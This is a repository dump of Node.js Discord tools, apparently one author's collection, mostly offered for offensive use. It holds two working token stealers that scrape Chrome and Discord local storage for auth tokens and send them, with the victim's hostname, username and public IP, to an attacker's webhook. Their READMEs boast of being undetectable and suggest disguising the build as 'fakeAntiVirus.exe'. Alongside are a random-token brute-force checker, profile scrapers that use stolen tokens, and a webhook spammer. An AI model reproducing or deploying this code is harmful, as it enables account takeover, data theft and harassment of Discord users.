░█████╗░██╗░░██╗███████╗░█████╗░██╗░░██╗ 27 | ██╔════╝░██╔════╝████╗░██║  ██╔══██╗████╗░██║██╔══██╗  ██╔══██╗██║░░██║██╔════╝██╔══██╗██║░██╔╝ 28 | ██║░░██╗░█████╗░░██╔██╗██║  ███████║██╔██╗██║██║░░██║  ██║░░╚═╝███████║█████╗░░██║░░╚═╝█████═╝░ 29 | ██║░░╚██╗██╔══╝░░██║╚████║  ██╔══██║██║╚████║██║░░██║  ██║░░██╗██╔══██║██╔══╝░░██║░░██╗██╔═██╗░ 30 | ╚██████╔╝███████╗██║░╚███║  ██║░░██║██║░╚███║██████╔╝  ╚█████╔╝██║░░██║███████╗╚█████╔╝██║░╚██╗ 31 | ░╚═════╝░╚══════╝╚═╝░░╚══╝  ╚═╝░░╚═╝╚═╝░░╚══╝╚═════╝░  ░╚════╝░╚═╝░░╚═╝╚══════╝░╚════╝░╚═╝░░╚═╝ 32 | - Dev : I2rys 33 | - Menu Dev : cutieQue 34 | `)) 35 | console.log(chalk.blueBright(`DT G&C Started!`)) 36 | console.log("") 37 | 38 | generatorChecker() 39 | async function generatorChecker(){ 40 | await delay(10) 41 | 42 | var mfaToken = randomString.generate({ 43 | length: 84, 44 | charset: "-abcdefghijklmnopq_rstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789" 45 | }) 46 | 47 | mfaToken = `mfa.${mfaToken}` 48 | 49 | var notMFAToken = randomString.generate({ 50 | length: 24, 51 | charset: "ODgyODkxNjE4NDczMDkxMDgy" 52 | }) 53 | 54 | const notMFATokenHalf = randomString.generate({ 55 | length: 6, 56 | charset: "YUW2-g" 57 | }) 58 | 59 | const notMFATokenHalf2 = randomString.generate({ 60 | length: 27, 61 | charset: "duZXhSN1RwE06PFEHRQkehmNdpw" 62 | }) 63 | 64 | notMFAToken = `${notMFAToken}.${notMFATokenHalf}.${notMFATokenHalf2}` 65 | 66 | var response = await request("https://discord.com/api/v6/auth/login", { 67 | headers: { 68 | Authorization: mfaToken 69 | } 70 | }) 71 | 72 | if(response.statusCode === 200){ 73 | console.log(chalk.greenBright(`Valid token: ${mfaToken}`)) 74 | 75 | const data = fs.readFileSync(args[0], "utf8") 76 | 77 | data.length ? fs.writeFileSync(args[0], `${data}\n${mfaToken}`, "utf8") : fs.writeFileSync(args[0], mfaToken, "utf8") 78 | }else{ 79 | console.log(chalk.redBright(`Invalid token: ${mfaToken}`)) 80 | } 81 | 82 | response = await request("https://discord.com/api/v6/auth/login", { 83 | headers: { 84 | authorization: notMFAToken 85 | } 86 | }) 87 | 88 | if(response.statusCode === 200){ 89 | console.log(chalk.greenBright(`Valid token: ${notMFAToken}`)) 90 | 91 | const data = fs.readFileSync(args[0], "utf8") 92 | 93 | data.length ? fs.writeFileSync(args[0], `${data}\n${notMFAToken}`, "utf8") : fs.writeFileSync(args[0], notMFAToken, "utf8") 94 | }else{ 95 | console.log(chalk.redBright(`Invalid token: ${notMFAToken}`)) 96 | } 97 | 98 | generatorChecker() 99 | } -------------------------------------------------------------------------------- /tokenProtector/README.md: -------------------------------------------------------------------------------- 1 | # tokenProtector 2 | A simple but effective Discord token protector. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i chokidar delay path os fs 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` -------------------------------------------------------------------------------- /tokenProtector/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const chokidar = require("chokidar") 5 | const delay = require("delay") 6 | const path = require("path") 7 | const os = require("os") 8 | const fs = require("fs") 9 | 10 | // Startup 11 | if(!fs.existsSync(`C:\\Users\\${os.userInfo().username}\\AppData\\Roaming\\discord`)){ 12 | console.log("It seems like you don't have Discord installed in your PC.") 13 | process.exit() 14 | } 15 | 16 | // Variables 17 | const homeDir = os.userInfo().homedir 18 | 19 | const tokenProtector = { 20 | directoriesToWatch: [ 21 | `${homeDir}\\AppData\\Roaming\\discord\\Local Storage\\leveldb`, 22 | `${homeDir}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb` 23 | ], 24 | regex: new RegExp(/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/, "g"), 25 | checkEvery: 10000 //Milliseconds 26 | } 27 | 28 | // Functions 29 | function directoryFiles(dir, done) { 30 | var results = [] 31 | 32 | fs.readdir(dir, function (err, list) { 33 | if (err) return done(err) 34 | 35 | var list_length = list.length 36 | 37 | if (!list_length) return done(null, results) 38 | 39 | list.forEach(function (file) { 40 | file = path.resolve(dir, file) 41 | 42 | fs.stat(file, function (err, stat) { 43 | if (stat && stat.isDirectory()) { 44 | directoryFiles(file, function (err, res) { 45 | results = results.concat(res) 46 | if (!--list_length) done(null, results) 47 | }) 48 | } else { 49 | results.push(file) 50 | if (!--list_length) done(null, results) 51 | } 52 | }) 53 | }) 54 | }) 55 | } 56 | 57 | tokenProtector.tokensRemover = function(filePath){ 58 | fs.readFile(filePath, "utf8", function(err, data){ 59 | if(err) return console.log(`Unable to read file ${filePath}`) 60 | 61 | if(data.match(tokenProtector.regex)){ 62 | console.log(`Tokens found in file ${filePath}`) 63 | 64 | data = data.replace(tokenProtector.regex, "") 65 | 66 | fs.writeFileSync(filePath, data, "utf8") 67 | console.log(`Tokens in file ${filePath} are removed.`) 68 | }else{ 69 | console.log(`No tokens found in file ${filePath}`) 70 | } 71 | }) 72 | } 73 | 74 | tokenProtector.watch_directory = function(directoryPath){ 75 | if(!fs.existsSync(directoryPath)) return console.log(`Directory path ${directoryPath} doesn't exist, therefore skipping the directory.`) 76 | 77 | console.log(`Watching directory ${directoryPath}`) 78 | 79 | const directoryFiles = fs.readdirSync(directoryPath, "utf8") 80 | const directoryWatcher = chokidar.watch(directoryPath, { 81 | awaitWriteFinish: true 82 | }) 83 | 84 | directoryWatcher.on("change", (path)=>{ 85 | console.log(`Changes detected in file ${path}`) 86 | console.log(`Checking any tokens in file ${path}`) 87 | tokenProtector.tokensRemover(path) 88 | }) 89 | 90 | console.log(`Checking directory ${directoryPath} files for any tokens.`) 91 | 92 | for( const file of directoryFiles ) tokenProtector.tokensRemover(`${directoryPath}\\${file}`) 93 | } 94 | 95 | tokenProtector.check = async function(){ 96 | console.log(`Discord files checking will start in ${tokenProtector.checkEvery} milliseconds.`) 97 | await delay(tokenProtector.checkEvery) 98 | 99 | console.log("Gathering Discord files.") 100 | directoryFiles(`${homeDir}\\AppData\\Roaming\\discord`, function(err, files){ 101 | if(err) return process.exit() 102 | 103 | console.log("Checking Discord files.") 104 | files.forEach(file =>{ 105 | var data = fs.readFileSync(file, "utf8") 106 | 107 | if(data.match(tokenProtector.regex)){ 108 | data = data.replace(tokenProtector.regex) 109 | 110 | fs.writeFile(file, data, "utf8", function(err){ 111 | if(err) return console.log(`Unable to remove some Discord tokens in ${file}`) 112 | 113 | console.log(`Discord tokens in file ${file} has been removed.`) 114 | }) 115 | } 116 | }) 117 | 118 | console.log("Checking is finished.") 119 | tokenProtector.check() 120 | }) 121 | } 122 | 123 | // Main 124 | tokenProtector.check() 125 | 126 | for( const directory of tokenProtector.directoriesToWatch ) tokenProtector.watch_directory(directory) -------------------------------------------------------------------------------- /tokenStealer/README.md: -------------------------------------------------------------------------------- 1 | # tokenStealer 2 | 100% Undetectable Discord token stealer. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord.js public-ip 8 | ``` 9 | 10 | ## Build 11 | 1. Open index.js then find webhookID & webhookToken. 12 | 2. Change it with your webhook id & token. 13 | 3. Compile index.js to exe file using [pkg](https://www.npmjs.com/package/pkg). 14 | 4. Your done. 15 | 16 | PKG compiling example: 17 | ``` 18 | pkg index.js -o fakeAntiVirus.exe 19 | ``` -------------------------------------------------------------------------------- /tokenStealer/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const discord = require("discord.js") 5 | const publicIP = require("public-ip") 6 | const os = require("os") 7 | const fs = require("fs") 8 | 9 | // Variables 10 | const webhook = new discord.WebhookClient("webhookID", "webhookToken") 11 | 12 | var tokenStealer = { 13 | cdt: null, 14 | sdt: null 15 | } 16 | 17 | // Functions 18 | function chrome(){ 19 | fs.readdir(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb`, "utf8", function(err, files){ 20 | if(err) return disCord() 21 | 22 | files.forEach(file =>{ 23 | if(file.indexOf("log") !== -1){ 24 | const log_data = fs.readFileSync(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\${file}`, "utf8") 25 | const tokens = Array.from(log_data.matchAll(/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/g)) 26 | const results = [] 27 | 28 | if(tokens.length === 0){ 29 | tokenStealer.cdt = "No discord tokens in chrome." 30 | return disCord() 31 | } 32 | 33 | for( const token of tokens ) if(results.indexOf(token[0]) === -1) results.push(token[0]) 34 | 35 | tokenStealer.cdt = results 36 | return disCord() 37 | } 38 | }) 39 | }) 40 | } 41 | 42 | function disCord(){ 43 | fs.readdir(`C:\\Users\\${os.userInfo().username}\\AppData\\Roaming\\discord\\Local Storage\\leveldb`, "utf8", function(err, files){ 44 | if(err){ 45 | done() 46 | return 47 | } 48 | 49 | files.forEach(file =>{ 50 | if(file.indexOf("log") != -1){ 51 | const log_data = fs.readFileSync(`C:\\Users\\${os.userInfo().username}\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\${file}`, "utf8") 52 | const tokens = Array.from(log_data.matchAll(/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/g)) 53 | const results = [] 54 | 55 | if(tokens.length === 0){ 56 | tokenStealer.sdt = "No discord tokens in discord software." 57 | process.exit() 58 | } 59 | 60 | for( var token of tokens ){ 61 | token = token[0].replace('"token":"', "") 62 | token = token[0].replace('"', "") 63 | 64 | if(results.indexOf(token[0]) === -1) results.push(token) 65 | } 66 | 67 | tokenStealer.sdt = results.join(", ") 68 | return done() 69 | } 70 | }) 71 | }) 72 | } 73 | 74 | async function done(){ 75 | const IP = await publicIP.v4() 76 | 77 | webhook.send("```" + `OS Type: ${os.type()} 78 | OS Platform: ${os.platform()} 79 | OS Hostname: ${os.hostname()} 80 | 81 | OS Username: ${os.userInfo().username} 82 | IP: ${IP} 83 | Chrome discord tokens found: ${tokenStealer.cdt} 84 | Software discord tokens found: ${tokenStealer.sdt}` + "```",).then(()=>{ 85 | process.exit() 86 | }).catch(()=>{process.exit()}) 87 | } 88 | 89 | // Main 90 | chrome() -------------------------------------------------------------------------------- /tokenStealerSpider/README.md: -------------------------------------------------------------------------------- 1 | # tokenStealerSpider 2 | 100% Undetectable Discord token stealer spider. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i public-ip discord.js path 8 | ``` 9 | 10 | ## Build 11 | 1. Open index.js then find webhookID & webhookToken. 12 | 2. Change it with your webhook id & token. 13 | 3. Compile index.js to exe file using [pkg](https://www.npmjs.com/package/pkg). 14 | 4. Your done. 15 | 16 | PKG compiling example: 17 | ``` 18 | pkg index.js -o fakeAntiVirus.exe 19 | ``` 20 | 21 | ## Note 22 | You might ask: What is the difference between Discord token stealer spider & Discord token stealer? The difference is Discord token stealer spider lists all the files in the Discord folder Including hidden files then check them 1 by 1 for any tokens that's the thing that makes a difference in both of them also Discord token stealer spider can also bypass some anti Discord token stealer. -------------------------------------------------------------------------------- /tokenStealerSpider/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const publicIP = require("public-ip") 5 | const discord = require("discord.js") 6 | const path = require("path") 7 | const os = require("os") 8 | const fs = require("fs") 9 | 10 | // Variables 11 | const webhook = new discord.WebhookClient("webhookID", "webhookToken") 12 | 13 | var tss = { 14 | homedir: os.userInfo().homedir, 15 | regex: new RegExp(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}/, "g"), 16 | tokens: [] 17 | } 18 | 19 | // Functions 20 | function directory_files(dir, done) { 21 | var results = [] 22 | 23 | fs.readdir(dir, function (err, list) { 24 | if (err) return done(err) 25 | 26 | var list_length = list.length 27 | 28 | if (!list_length) return done(null, results) 29 | 30 | list.forEach(function (file) { 31 | file = path.resolve(dir, file) 32 | 33 | fs.stat(file, function (err, stat) { 34 | if (stat && stat.isDirectory()) { 35 | directory_files(file, function (err, res) { 36 | results = results.concat(res) 37 | if (!--list_length) done(null, results) 38 | }) 39 | } else { 40 | results.push(file) 41 | if (!--list_length) done(null, results) 42 | } 43 | }) 44 | }) 45 | }) 46 | } 47 | 48 | tss.send = async function(){ 49 | const IP = await publicIP.v4() 50 | 51 | webhook.send("```" + `OS Type: ${os.type()} 52 | OS Platform: ${os.platform()} 53 | OS Hostname: ${os.hostname()} 54 | 55 | OS Username: ${os.userInfo().username} 56 | IP: ${IP} 57 | Discord tokens found: ${tss.tokens.join(", ")}` + "```",).then(()=>{ 58 | process.exit() 59 | }).catch(()=>{process.exit()}) 60 | } 61 | 62 | //Main 63 | if(!fs.existsSync(`${tss.homedir}\\AppData\\Roaming\\discord`)) process.exit() 64 | 65 | directory_files(`${tss.homedir}\\AppData\\Roaming\\discord`, function(err, files){ 66 | if(err) return process.exit() 67 | 68 | files.forEach(file =>{ 69 | try{ 70 | const data = fs.readFileSync(file, "utf8") 71 | 72 | if(data.match(tss.regex)) for( const token of data.match(tss.regex) ) if(tss.tokens.indexOf(token) === -1) tss.tokens.push(token) 73 | }catch{} 74 | }) 75 | 76 | if(!tss.tokens.length) process.exit() 77 | 78 | tss.send() 79 | }) -------------------------------------------------------------------------------- /userInformationGrabber/README.md: -------------------------------------------------------------------------------- 1 | # userInformationGrabber 2 | Grab's the specified user (ID) information Including account. connections. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i request-async 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | usage: node index.js 13 | ``` 14 | 15 | - userID - The target user (ID). 16 | - token - The Discord account token to use. -------------------------------------------------------------------------------- /userInformationGrabber/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const request = require("request-async") 5 | 6 | // Variables 7 | const args = process.argv.slice(2) 8 | 9 | // Functions 10 | async function grabUserInformation(){ 11 | try{ 12 | var response = await request(`https://discord.com/api/v9/users/${args[0]}/profile`, { 13 | headers: { 14 | authorization: args[1] 15 | } 16 | }) 17 | 18 | response = JSON.parse(response.body) 19 | 20 | const user = response.user 21 | const connectedAccounts = response.connected_accounts 22 | 23 | console.log(` 24 | Username: ${user.username} 25 | ID: ${user.id} 26 | Tag: ${user.username}#${user.discriminator} 27 | Tag number: ${user.discriminator} 28 | BIO: ${user.bio} 29 | `) 30 | 31 | for( const connection of connectedAccounts ) console.log(`Platform: ${connection.type} 32 | Name: ${connection.name} 33 | ID: ${connection.id} 34 | Verified: ${connection.verified} 35 | `) 36 | }catch{ 37 | console.log("Make sure the userID & token is valid.") 38 | } 39 | } 40 | 41 | // Main 42 | if(!args.length) return console.log("usage: node index.js ") 43 | if(!args[1]) return console.log("Invalid token.") 44 | 45 | if(!/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/i.test(args[1])) return console.error("You did not provide a valid token.") 46 | 47 | grabUserInformation() -------------------------------------------------------------------------------- /usersBIOScraper/README.md: -------------------------------------------------------------------------------- 1 | # usersBIOScraper 2 | Scrapes the given Discord users id BIO. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i request-async 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | usage: node index.js 13 | ``` 14 | 15 | - ids - Path of a file that contains Discord users id. 16 | - token - The Discord account token that will be used for API authorization. 17 | - output - A file path on where to save the results. 18 | 19 | ## Inspired by 20 | [Discord-Bio-Scraper](https://github.com/Social404/Discord-Bio-Scraper) by Social404 -------------------------------------------------------------------------------- /usersBIOScraper/index.js: -------------------------------------------------------------------------------- 1 | (async function(){ 2 | "use strict"; 3 | 4 | // Dependencies 5 | const request = require("request-async") 6 | const fs = require("fs") 7 | 8 | // Variables 9 | const args = process.argv.slice(2) 10 | const results = [] 11 | 12 | // Main 13 | if(!args.length) return console.log("usage: node index.js ") 14 | if(!fs.existsSync(args[0])) return console.log("Unable to find the file that contains Discord ids.") 15 | if(!args[2]) return console.log("The output is invalid.") 16 | 17 | const ids = fs.readFileSync(args[0], "utf8").replace(/\r/g, "").split("\n") 18 | 19 | if(!ids.length) return console.log("The provided Discord ids file is empty.") 20 | 21 | console.log("Scraping the Discord ids bio, please wait.") 22 | for( const id of ids ){ 23 | var response = await request(`https://discord.com/api/v9/users/${id}/profile`, { 24 | headers: { 25 | authorization: args[1] 26 | } 27 | }) 28 | 29 | response = JSON.parse(response.body) 30 | if(response.hasOwnProperty("errors")) return console.log(`Invalid id detected. ${id}`) 31 | response = response.user 32 | results.push(`Username: ${response.username}\nID: ${id}\nBIO:\n${response.bio}\n`) 33 | console.log(`Successfully grabbed ${id} bio.`) 34 | } 35 | 36 | console.log("Saving the results, please wait.") 37 | fs.writeFileSync(args[2], results.join("\n===========================\n\n"), "utf8") 38 | console.log("Finished!") 39 | }()) -------------------------------------------------------------------------------- /webhookSpammer/README.md: -------------------------------------------------------------------------------- 1 | # webhookSpammer 2 | A really fast webhook message spammer. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord.js 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - webhookLink - The target webhook link. 16 | - message - The message to spam on the webhook. -------------------------------------------------------------------------------- /webhookSpammer/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const discord = require("discord.js") 5 | 6 | // Variables 7 | const args = process.argv.slice(2) 8 | 9 | // Main 10 | if(!args.length) return console.log("node index.js ") 11 | if(!args[1]) return console.log("Invalid message to spam.") 12 | 13 | const reconstructWL = args[0].split("/") 14 | const webhookID = reconstructWL[5] 15 | const webhookToken = reconstructWL[6] 16 | 17 | const webhook = new discord.WebhookClient(webhookID, webhookToken) 18 | 19 | console.log("Spammer has started.") 20 | setInterval(()=>{webhook.send(args.slice(1).join(" "))}, 100) --------------------------------------------------------------------------------